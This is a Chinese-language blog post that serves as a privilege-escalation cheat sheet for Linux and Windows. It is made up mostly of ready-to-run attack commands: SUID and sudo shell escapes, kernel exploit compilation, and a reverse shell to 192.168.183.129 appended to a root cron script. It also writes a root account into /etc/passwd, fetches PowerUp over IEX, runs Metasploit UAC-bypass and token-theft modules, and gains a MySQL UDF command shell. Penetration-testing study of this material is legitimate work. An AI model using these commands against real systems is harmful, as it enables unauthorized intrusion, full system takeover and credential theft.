渗透提权总结

渗透提权总结

  • Linux提权提升
  • Windows提权

Linux提权提升

脚本https://github.com/carlospolop/PEASS-ng

常用的Linux提权信息收集

1、查看Linux系统内核信息:
1
uname -a
2、查看系统版本信息:
1
cat /etc/*-release 
3、查看用户和群组信息:
1
2
3
4
5
6
7
8
9
10
11
cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
4、用户权限信息:
1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
5、查看环境信息:
1
2
3
4
5
6
7
8
9
10
11
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
6、查看进程和服务:
1
2
3
4
ps aux
ps -ef
top
cat /etc/services
7、查看已经安装的软件信息:
1
2
3
4
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l
8、查看计划任务信息:
1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
9、查看有无明文存放用户密码信息:
1
2
3
4
5
grep -i user [filename]
grep -i pass [filename]
grep -R -i pass /home/* 2>/dev
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
10、查看有无SSH私钥信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
11、查看与当前机器通信的其他用户或者主机信息:
1
2
3
4
5
6
7
8
9
10
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
12、相关日志文件信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

提权操作

一些命令不止一个,下面就写一个示例一下,更多的可以看上面

内核漏洞提权

首先查看linux发行版版本

1
cat /etc/*-release 

查看内核版本

1
uname -a

再去查找当前版本是否有漏洞,这里可以用searchsploit工具来查找,或者去在线网站查找

1
searchsploit ubuntu 4.10.0-28

利用内核漏洞提权

下载下来脚本

1
searchsploit ubuntu -m 45010.c

一些内核提权的脚本:

1
2
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/bcoles/kernel-exploits

需要编译c脚本

如果条件允许的话,最好在受害机中编译,避免出现提权错误啥的,实在不行也可以先编译好后再传入受害机

1
gcc 45010.c -o 45011

给它可执行权限并执行

1
2
chmod -X 45011
./45011

计划任务提权

如果计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户(该用户权限比当前高),则可以进行计划任务提权到指定用户所拥有的权限

查看计划任务

1
cat /etc/crontab

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

能看到这里以root权限运行CleaningScript.sh脚本,每5分钟执行一次,那也就是是如果可以修改CleaningScript.sh脚本的内容,就能执行相应的shell,反弹shell就能拿到root权限

查看文件属于哪个用户是否有写入权限

1
ls -l  文件

写入反弹shell

1
echo "/bin/bash -i >& /dev/tcp/192.168.183.129/6669 0>&1" >> /etc/script/CleaningScript.sh

SUID提权

SUID全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权

SUID的特性

1、SUID权限仅对二进制程序(binary program)有效;
2、执行者对于该程序需要具有x的可执行权限;
3、本权限仅在执行该程序的过程中有效(run-time);
4、执行者将具有该程序拥有者(owner)的权限。

收集Linux上suid权限文件信息的脚本:

1
https://github.com/rebootuser/LinEnu

以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

一些已知的具有SUID权限的二进制可执行文件大体有如下:

1
2
3
4
5
6
7
8
9
10
nmap
vim
find
bash
more
less
nano
cp
awk
base64

详细看简谈SUID提权 - FreeBuf网络安全行业门户

以后遇到再补充。。。

命令 利用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
zsh zsh
xargs xargs -a /dev/null sh -p
watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0
timeout timeout 7d /bin/sh -p
time time /bin/sh -p
tclsh 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
taskset taskset 1 /bin/sh -p
stdbuf stdbuf -i0 /bin/sh -p
strace strace -o /dev/null /bin/sh -p
ssh ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarch setarch $(arch) /bin/sh -p
rsync rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p")}’
python python -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
php 1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nice nice /bin/sh -p
nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令
more 1、more /etc/profile 2、!/bin/sh -p
logsave logsave /dev/null /bin/sh -i -p
less less /etc/profile //读取文件,在底行输入!/bin/sh -p
ksh ksh -p
ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ionice ionice /bin/sh -p
git git help status
gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit
ftp ftp //在底行输入“!/bin/sh -p”
flock flock -u / /bin/sh -p
find find . -exec /bin/sh -p ; -quit
expect expect -c ‘spawn /bin/sh -p;interact’
env env /bin/sh -p
ed ed //在底行输入“!/bin/sh -p”
docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesg dmesg -H//在底行输入“!/bin/sh -p”
csh csh -b
bash bash -p
awk awk ‘BEGIN {system("/bin/bash -p")}’
perl perl exec “/bin/bash”;
base64 "/home/redis/flag/flag01" | base64 --decode
cd /etc
LFILE=shadow
base64 "$LFILE" | base64 --decode

配置错误提权

利用前提:/etc/passwd字段其他用户有写的权限,但是默认只有root可写,所以也是由于配置错误导致的漏洞发生。

利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。

执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件

也就是提权到root

1
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

就能用test/123456登录了

辅助提权脚本:https://www.securitysift.com/download/linuxprivchecker.py

sudo滥用提权

前提:要利用sudo用户,您需要找到您必须可以使用该命令sudo -l(也就是需要当前用户的密码)

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。

利用sudo提权的命令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
wget
find
cat
apt
zip
xxd
time
taskset
git
sed
pip
ed
tmux
scp
perl
bash
less
awk
man
vi
env
ftp
mysql

Linux提权——SUDO_sudo提权-CSDN博客

mysql命令提权(前提是mysql无密码)

1
sudo mysql -e '\! ls'

Windows提权

Windows权限分类:

  • User:普通用户权限,分配给该组的默认权限不允许成员修改操作系统设置或用户资料
  • Administrator:管理员权限,但无法操作SAM文件
  • System:系统权限(理论上是最高权限,因为常规情况不会涉及TrustedInstaller权限)。可以对SAM等敏感文件进行操作
  • TrustedInstaller:Windows中的最高权限,可以修改连System权限也无法修改的系统文件

提权分类:

  • 纵向提权:由低权限获取高权限,例如:User->System

  • 横向提权:获取同级别角色的权限,利用由一台机子的system权限获取到同一网段下的另一台机子的system权限

提权exp:https://github.com/lyshark/Windows-exploits

在一些情况可能存在文件夹操作权限限制导致文件不能上传到目标文件夹,一般我们可以把文件上传到C:\users\public下

内核溢出提权

内核漏洞最好在本地先试一下,否则可能会把目标机子打蓝屏

编译exp的话最好直接在受害机编译,没有条件的话就编译好在传进去执行

原理:程序缓存区大小是事先设置好的,如果输入数据大小超过缓存区大小就会溢出,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为可执行代码来运行,从而使得攻击者可以不受安全措施的约束进行攻击行为。这样就可以利用溢出来尝试达到提权的目的了

一些详细的信息收集命令在信息收集那里已经提过了,这里就记一下比较重要的命令吧

查看当前权限

1
whoami /groups

查看内核版本和已打的补丁

1
2
3
systeminfo
// 或
wmic qfe get caption,description,hotfixid,installedon

可以根据已打的补丁去在线网站查找查询这些补丁对应的内核漏洞,剩下的本机无补丁对应的内核漏洞exp来利用

http://blog.neargle.com/win-powerup-exp-index/

https://i.hacking8.com/tiquan/

自动化工具

Metasploit

1
getsystem

碰碰运气看能不能直接提权,不能的话就进行下一步

自动查找内核漏洞并利用

1
2
3
4
5
use post/windows/gather/enum_patches
show options
sessions
set SESSION 12
run

当然如果你已经通过在线网站或者工具找到了对应的漏洞名称或版本,且msf恰好有对应的攻击模块,你可以很方便地利用msf来提权

ms14_058为例

1
2
3
4
5
6
7
search ms14_058
exploit/windows/local/ms14_058_track_popup_menu //使用找到的攻击模块
show options
use exploit/windows/local/ms14_058_track_popup_menu
sessions
set SESSION 3
run
WES-NG

项目地址:https://github.com/bitsadmin/wesng

先更新一下漏洞库

1
python wes.py --update

再执行:

1
python .\wes.py .\1.txt

这里的1.txt是systeminfo的内容

成功的话,可以看到对应的漏洞编号

Sherlock

是一个在Windows下用于本地提权的PowerShell脚本

感觉没有前面的几个方便,这个也仅是查找内核漏洞,并不能帮我们直接利用,暂时将优先级排在后面吧

项目地址:https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

先在目标机器执行:

1
powershell.exe -exec bypass

绕过powershell的执行策略

再上传Sherlock.ps1文件,导入脚本

1
Import-Module ./Sherlock.ps1

查找漏洞

1
Find-AllVunlns

若出现Appears Vulnerable,即代表存在漏洞

远程导入:

1
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1’)

配置错误提权

系统权限配置错误

原理:Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。而如果我们当前的用户(即便是低权限)对于该系统服务调用的可执行文件具有写权限,我们就可以将该文件写入我们想要执行的内容,并随着系统服务启动而获得系统权限(Windows服务以System权限运行)

这和linux中计划任务提权有些相似的地方

但是,上面提到成功写入可执行文件之后,想要系统服务启动才能获得权限,这有两种情况:

  • 服务未运行:这种情况只需要替换掉原有的服务,在重新启动该服务就好了
  • 服务正在运行且无法被终止:大多数情况都是这种场景,通常需要我们利用DLL劫持并尝试重启服务
DLLl劫持

windows查找dll文件顺序:

1
2
3
4
5
6
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working DirectoryCWD
PATH环境变量的目录(先系统后用户)

当我们把我们的恶意dll文件和程序本身放在同一个目录下的话,我们的恶意dll文件优先级会高于系统自带的dll,因此就产生了dll劫持

操作步骤

  • 火绒剑查找调用dll
  • msf生成dll木马
  • dll劫持
  • 获得system权限shell
PowerUp

项目地址:https://github.com/HarmJ0y/PowerUp

本地上传脚本并调用

1
powershell -exec bypass -Command "& {Import-Module .\PowerUp.psl; Invoke-AllChecks}"

远程

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.14/PowerUp.ps1'); Invoke-AllChecks" 
Metasploit

利用Metasploit的exploit/windows/local/service_permissions模块

1
2
3
4
5
background
use exploit/windows/local/service_permissions
session
set session 3
run

注册表键AlwaysinstallElevated

Window注册表键AlwaysInstallElevated(始终以最高权限安装)是一个策略设置项,说白了注册表键权限提升的问题就是Windows配置策略问题,如果开启此项策略windows的任何用户都可以以最高权限(NT AUTHORITY\SYSTEM)运行安装执行.msi(Windows Installer的数据包)文件。
查看Windows installer特权功能是否已启用

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

开启位置:组策略编辑器->计算机/用户配置->管理模板->windows组件->windows install->始终以提升的权限安装:启用

如果未启用,但是我们有注册表的修改权限,也可以通过修改注册表来启用它

1
2
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
PowerUp

检测是否启用该策略,True就是启用

1
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘C:\Users\Admin\DesktopPowerUp.ps1’); Get-RegistryAlwaysInstallElevated
1
Get-RegistryAlwaysInstallElevated

生成添加后门用户的UserAdd.msi文件(可能会被杀软识别,有条件的话上免杀)

1
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘C:\Users\Admin\DesktopPowerUp.ps1’); Write-UserAddMSI
1
Write-UserAddMSI

运行UserAdd.msi文件

1
misexec.exe /quiet /qn /i UserAdd.msi

最后查看用户和administrator管理组

1
Net user
1
net localgroup administrators
Metasploit

使用模块exploit/windows/local/always_install_elevated

1
2
3
4
5
search always_install_elevated
use exploit/windows/local/always_install_elevated
show options
set session 1
run

可信任服务路径漏洞

Trusted Service Paths(可信任服务路径)漏洞,如果服务二进制文件的路径没有用引号括起来,并且包含空格,则已安装服务的漏洞名称是服务未加引号的路径。因此,本地用户可以通过将可执行文件放在路径中的可写目录中,将权限提升到管理员权限。

例如:

当windows想要找到c:\Program Files\Some Folder\Service.exe(没有引号)并执行时

windows会依次找到下列程序(若存在)并执行

1
2
3
4
5
C:\Program.exe

C:\Program Files\Some.exe

C:\program Flies\Some Folder\Service.exe

此时,服务一旦重启,就会以System权限运行(大多数情况下)

查找系统中错误配置的路径
1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

icacls检查服务路径是否可写
1
2
icacls "D:\example"
icacls "C:\Program Files"

“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。可惜的是该图中并没有

M”表示修改

“F”代表完全控制

“CI”代表从属容器将继承访问控制项

“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。

利用漏洞

如果已经确定了拥有该漏洞,那可以将恶意程序上传到对于的路径,并重启服务

1
2
sc stop service_name
sc start service_name

也可以使用msf来操作:

1
2
3
4
5
background
search trusted_service_path
use exploit/windows/local/trusted_service_path
show options
run

计划任务

原理和linux计划任务提权差不多,尝试去覆盖掉以高权限运行的计划任务,等待计划任务再次执行获取高权限

查看计划任务:

1
2
at win7以前
schtasks win7及以后
1
2
3
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr "管理员"
schtasks /query /fo LIST /v | findstr "Snipaste"
AccessChk

下载地址:AccessChk - Sysinternals | Microsoft Learn

自动接受许可协议

1
2
accesschk.exe /accepteula
accesschk /accepteula

查看指定目录的权限配置情况,如果对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。

1
accesschk.exe -dqv "C:\Microsoft" -accepteula

如果具有写入权限,就将恶意程序放在对于目录下,等待计划任务的执行

在自动安装配置文件查找敏感信息

搜索Unattend.xml

1
dir /b /s c:\Unattend.xml

也可以用msf的post/windows/gather/enum_unattend模块

1
use post/windows/gather/enum_unattend

组策略首选项提权

组策略首选项功能是Windows 2008 Server引入的,并且08之后的版本都已经打过该漏洞的补丁

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。

所有的组策略均存储在如下位置:

1
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。

如果通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。

常见的组策略首选项(GPP)

  • 映射驱动器(Drives.xml)
  • 创建本地用户
  • 数据源(DataSources.xml)
  • 打印机配置(Printers.xml)
  • 创建/更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)

获取组策略的凭据

管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。

使用Metasploit查找cpassword
1
2
3
use post/windows/gather/credentials/gpp
show options
set session 2

绕过UAC提权

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被”提升权限”,而不是以管理员身份运行的程序。

一些没有管理员权限无法完成的操作:

  • 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
  • 加载设备驱动程序
  • DLL注入
  • 修改系统时间(时钟)
  • 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
  • 修改受保护的目录(例如Windows文件夹,Program Files)
  • 计划任务(例如,以管理员权限自动启动)

一般我们通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限

如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,再通过getsystem进行提权

1
2
3
4
5
6
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

进程注入绕过UAC

通过进程注入使用可信任发布者证书绕过Windows UAC。

1
2
3
4
5
6
7
msf > use exploit/windows/local/bypassuac

msf exploit windows/local/bypassuac) > set session 1

msf exploit(windows/local/bypassuac) > exploit

getsystem

内存注入绕过UAC

该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64),相比上面的进程注入被杀软检测的概率要低一些

1
2
3
4
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
getsystem

通过FodHelper注册表项绕过UAC

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

1
2
3
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

通过Eventvwr注册表项绕过UAC

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

1
2
3
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

通过COM处理程序劫持绕过UAC

1
2
3
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

令牌窃取

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌,而假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击
令牌种类:

1
2
3
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

令牌窃取是一种可以权限提升的技术,适用的操作系统版本如下:

1
2
3
4
5
6
7
Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于Itanium的系统)
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本

MSF伪造令牌提权

假设:当前已经获取目标主机的权限,但通过MSF中的getsystem和其他提权方式失败….

1
2
3
4
use incognito			                    #进入incognito模块
list_tokens -u #列出令牌
impersonate_token WIN-2HU3N1\\Administrator # 选择要窃取的账号
impersonate_token WIN-2HU3N1\Administrator #或者是一个反斜杠

默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的权限是一个普通域用户,所以令牌窃取只能窃取到当前用户本身是。如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。

Rotten Potato提权+令牌窃取

在msf执行

1
2
use incognito			            
list_tokens -u

当刚才MSF伪造令牌提权方法因权限太低而失败时,可以用Rotten Potato来辅助

rottenpotato.exe上传到受害机上

执行并尝试再次窃取令牌

1
2
3
upload /root/Rottenpotato/rottenpotato.exe
execute -HC -f ./rottenpotato.exe
impersonate_token "NT AUTHORITY\SYSTEM"

无凭证利用

LLMNR和NetBIOS欺骗攻击

利用Mysql提权

目前也就是利用UDF来提权,等后面学到新trick再记录

使用前提:能利用弱口令远程连接上mysql

常用命令

  • 查看系统版本
1
select @@version_compile_os, @@version_compile_machine;
  • 查看数据库版本
1
select @@version;
  • 查看路径
1
SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
  • 查看mysql根目录
1
SELECT @@basedir;
  • 其他命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#查看现有用户
select host,user,authentication_string from mysql.user;

#新建用户
create user "username"@"host" identified by "password";
#举个栗子
mysql->create user 'test'@'%' identified by '123';
host="localhost"为本地登录用户,host="ip"为ip地址登录,host="%",为外网ip登录

#删除用户
drop user 'username'@'host';

#授权
#授予用户通过外网IP对于该数据库的全部权限
grant all privileges on `test`.* to 'test'@'%' ;

#授予用户在本地服务器对该数据库的全部权限
grant all privileges on `test`.* to 'test'@'localhost';

grant select on test.* to 'user1'@'localhost'; /*给予查询权限*/
grant insert on test.* to 'user1'@'localhost'; /*添加插入权限*/
grant delete on test.* to 'user1'@'localhost'; /*添加删除权限*/
grant update on test.* to 'user1'@'localhost'; /*添加权限*/

flush privileges; /*刷新权限*/

#查看权限
show grants;
#查看某个用户的权限
show grants for 'jack'@'%';

#删除权限
revoke delete on test.* from 'jack'@'localhost';

利用UDF提权

udf全称user defined function也就是用户自定义函数

udf在mysql5.1以后的版本中,存在于mysql/lib/plugin目录下,文件后缀.dll,常用c语言编写。

利用条件:拥有mysql的root权限

利用root权限,创建带有调用cmd函数的udf.dll(动态链接库)。当我们把udf.dll导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

使用UDF自定义函数

  • 创建自定义函数
1
CREATE FUNCTION sys_evel RETURNS STRING SONAME 'udf.dll';
  • 执行命令
1
SELECT sys_evel('cmd command')
  • more
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

sqlmap进行udf提权

1
sqlmap.py -d "mysql://root:root@192.168.0.66/mysql" --os-shell

当然如果该系统存在sql注入漏洞,可以直接拿sqlmap跑shell

1
--os-shell

渗透提权总结
https://www.supersmallblack.cn/渗透提权总结.html
作者
Small Black
发布于
2023年10月16日
许可协议